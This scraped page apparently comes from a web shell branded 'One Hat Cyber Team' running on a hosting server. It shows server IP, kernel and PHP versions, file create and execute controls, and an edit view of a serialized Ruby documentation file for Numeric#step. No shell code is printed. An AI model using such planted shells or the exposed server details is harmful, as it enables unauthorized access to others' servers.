⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.116
Server IP:
78.40.11.138
Server:
Linux tango.o2switch.net 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
alt
/
ruby19
/
share
/
ri
/
1.9.1
/
system
/
Numeric
/
Edit File: step-i.ri
U:RDoc::AnyMethod[iI" step:ETI"Numeric#step;FF:publico:RDoc::Markup::Document:@parts[ o:RDoc::Markup::Paragraph; [I"DInvokes <em>block</em> with the sequence of numbers starting at;TI"?<i>num</i>, incremented by <i>step</i> (default 1) on each;TI"Ecall. The loop finishes when the value to be passed to the block;TI"Fis greater than <i>limit</i> (if <i>step</i> is positive) or less;TI"?than <i>limit</i> (if <i>step</i> is negative). If all the;TI"?arguments are integers, the loop operates using an integer;TI"Ecounter. If any of the arguments are floating point numbers, all;TI"Care converted to floats, and the loop is executed <i>floor(n +;TI"3n*epsilon)+ 1</i> times, where <i>n = (limit -;TI"Bnum)/step</i>. Otherwise, the loop starts at <i>num</i>, uses;TI"Deither the <code><</code> or <code>></code> operator to compare;TI"Fthe counter against <i>limit</i>, and increments itself using the;TI"<code>+</code> operator.;To:RDoc::Markup::BlankLine o; ; [I"=If no block is given, an enumerator is returned instead.;T@o:RDoc::Markup::Verbatim; [I"(1.step(10, 2) { |i| print i, " " } ;FI"6Math::E.step(Math::PI, 0.2) { |f| print f, " " } ;Fo; ; [I"<em>produces:</em>;T@o;; [I"1 3 5 7 9 ;FI"72.71828182845905 2.91828182845905 3.11828182845905;F: @file0I"mnum.step(limit[, step]) {|i| block } -> self num.step(limit[, step]) -> an_enumerator ;T0[ I"(*args);FI"numeric.c;T
Simpan